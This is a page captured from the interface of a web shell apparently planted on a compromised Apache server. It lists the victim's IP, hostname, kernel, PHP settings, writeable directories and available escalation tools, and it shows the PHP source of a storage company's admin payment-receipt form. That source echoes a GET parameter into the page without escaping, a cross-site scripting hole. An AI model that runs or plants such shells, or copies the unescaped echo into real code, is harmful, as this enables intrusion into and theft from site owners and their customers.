403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/payment_addform.php
<?php
	require_once('check_login.php');

	$_SESSION["_payment_type"] = $_GET["type"];

	$all_customer_info = get_customer();

	$payment_method_info = get_master_type_code("PAYMENT_METHOD");
?>
<!DOCTYPE html>
<html>
<head>
	<?php require_once('html_head.php'); ?>

	<script type="text/javascript">
		function ajax_customer_unpaid(customer_id){

			var xmlhttp;

			if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari
				xmlhttp = new XMLHttpRequest();
			}
			else {// code for IE6, IE5
				xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			}
			xmlhttp.onreadystatechange = function () {
				if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
					var result = $.trim(xmlhttp.responseText);
					$("#payment_content").html(result);

					//recall function
					//$("#unpaid_payment_table .balance").change(function () {
					$("#unpaid_payment_table .paid_amount").on("change", function () {
						if(isFinite($(this).val())){
							$(this).closest("tr").find(".payable_id").prop("checked", true);
						}else{
							//alert("未付金額應輸入正數數字。");
							$(this).closest("tr").find(".payable_id").prop("checked", false);
						}

						var paid_payment_total = 0;
						var total_payment = $("input[name='amount']").val();

						$(".paid_amount").each(function () {
							if($(this).closest("tr").find(".payable_id").prop("checked")){
								var paid_amount = $(this).val();

								//var ori_balance = $(this).closest("tr").find(".ori_balance").val();

								//paid_payment_total += parseFloat(ori_balance) - parseFloat(balance);

								//check if over the unpaid payment
								var unpaid_amount = $(this).closest("tr").find(".unpaid_amount").val();

								if(parseFloat(paid_amount) > parseFloat(unpaid_amount)){
									alert("是次付款金額不能大於未付金額。");
									paid_payment_total += 0;
								}else{
									if(parseFloat(paid_amount) > 0 ){
										paid_payment_total += parseFloat(paid_amount);
									}else{
										paid_payment_total += 0;
									}
								}
							}
						});

						//check if over the total payment
						if(parseFloat(paid_payment_total) != parseFloat(total_payment)){
							alert("已付金額總數與付款金額必須相同。");
						}

						$("#paid_payment_total").text("$"+paid_payment_total.toFixed(1));
					});


				}
			}
			xmlhttp.open("POST", "_ajax.php?for=get_customer_unpaid", true);
			xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			xmlhttp.send("customer_id=" + customer_id);
		}

		$(function () {
			$("#paiddate").datepicker({
				dateFormat: 'yy-mm-dd'
			});

			if ($("input[name='paymethod']:checked").val() == "CHEQUE") {
				$("#cheque_content").show();
			}

			if ($("input[name='paymethod']:checked").val() == "OTHER") {
				$("#other_content").show();
			}

			if($("input[name='paymethod']:checked").val() == "BANKIN"){
				$("#bankin_content").show();
			}

			$("input[name='paymethod']").on("click", function () {
				$("#cheque_content").hide();
				$("#other_content").hide();
				$("#bankin_content").hide();

			});

			$("input[value='CHEQUE']").on("click", function () {
				$("#cheque_content").show();
			});

			$("input[value='OTHER']").on("click", function () {
				$("#other_content").show();
			});

			$("input[value='BANKIN']").on("click", function () {
				$("#bankin_content").show();
			});

			var customer_id = $("#customer_id").val();
			if(isFinite(customer_id) && parseInt(customer_id) > 0){
				ajax_customer_unpaid(customer_id);
			}

			$("#customer_id").on("change", function () {
				ajax_customer_unpaid($(this).val());
			});
		});
	</script>
</head>
<body>
<form action="payment_add.php" method="post" name="addform" enctype="multipart/form-data" class="form_field">
	<input type="hidden" name="type" value="<?=$_GET["type"]?>"/>
	<table width="1000" border="0" cellpadding="0" cellspacing="0">
		<tr>
			<td height="70" align="right" valign="middle" class="icontxt">
				<table border="0" cellpadding="0" cellspacing="0">
					<tr>
						<td width="50" align="center" style="font-size: 12px;">
							<input type="image" alt="submit" src="images/iconSave.png" width="32" height="32" border="0"><br>
							&nbsp;儲存&nbsp;&nbsp;</a></td>
						<td width="50" align="center">
							<a href="payment_index.php?<?php if(isset($_SESSION["index_url_parameter"])) echo $_SESSION["index_url_parameter"];?>&msg=取消"><img src="images/iconCancel.png" alt="Cancel" width="32" height="32" border="0"><br>
								&nbsp;取消&nbsp;&nbsp;</a></td>
						<td>&nbsp;</td>
					</tr>
				</table>
			</td>
		</tr>
		<tr>
			<td class="pagetitletxt">
				&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle"/>新增 <?= $_SESSION["_payment_type"] == "DEPOSIT" ? "按金收據" : "正式收據" ?></b>
			</td>
		</tr>
		<tr>
			<td align="left" valign="middle"><!-- Content -->

				<table border="0" cellpadding="0" cellspacing="0">

					<tr>
						<td width="120" align="right" valign="top" class='content'>客戶</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<select name="customer_id" id="customer_id">
								<option value="">---請選擇---</option>
								<?php
									foreach($all_customer_info as $customer){
										echo '<option value="' . $customer["id"] . '">' . $customer["customer_name"] . ' ('.$customer["code"] . ')</option>';
									}
								?>

							</select>
							<br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content required'>付款方式</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<?php
								foreach ($payment_method_info as $payment_method) {
								if($payment_method["code"] == "UNPAID")
									continue;

									echo '<input type="radio" name="paymethod" value="' . $payment_method["code"] . '"> ' . $payment_method["name_tc"] . ' <br>';
									if ($payment_method["code"] == "CHEQUE") {
										echo '<div id="cheque_content" style="margin-left: 25px; display: none;">
													銀行名稱 : <input type="text" name="bank_name" style="width: 300px;"> <br>
													支票號碼 : <input type="text" name="cheque_num" style="width: 300px; margin-top: 5px;">
												</div>';
									}

									if ($payment_method["code"] == "BANKIN") {
										echo '<div><input id="bankin_content" style="width: 300px;margin-left: 25px; display: none;" type="text" name="paymethod_other2"></div>';
									}

									if ($payment_method["code"] == "OTHER") {
										echo '<div><input id="other_content" style="width: 300px;margin-left: 25px; display: none;" type="text" name="paymethod_other"></div>';
									}
								}
							?>
							<br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content required'>金額</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							$<input type="text" class="content" name="amount" style="width: 163px;"> <br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content required'>付款日期</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<input type="text" class="content" name="docdate" id="paiddate" readonly="readonly"> <br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content required'>應付款項</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<div id="payment_content"></div>
							<br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content '>備註</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<textarea name="remark" style="width: 300px; height: 50px;"></textarea>
							<br><br>
						</td>
					</tr>


					<tr>
						<td width="120" align="right" valign="top" class='content'></td>
						<td colspan="2" width="5" valign="top" class='content'><p class="red">* 必須填寫</p></td>
					</tr>

				</table>
				<!-- End Content -->
			</td>
		</tr>
		<tr>
			<td align="left" valign="middle">&nbsp;</td>
		</tr>
	</table>
</form>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit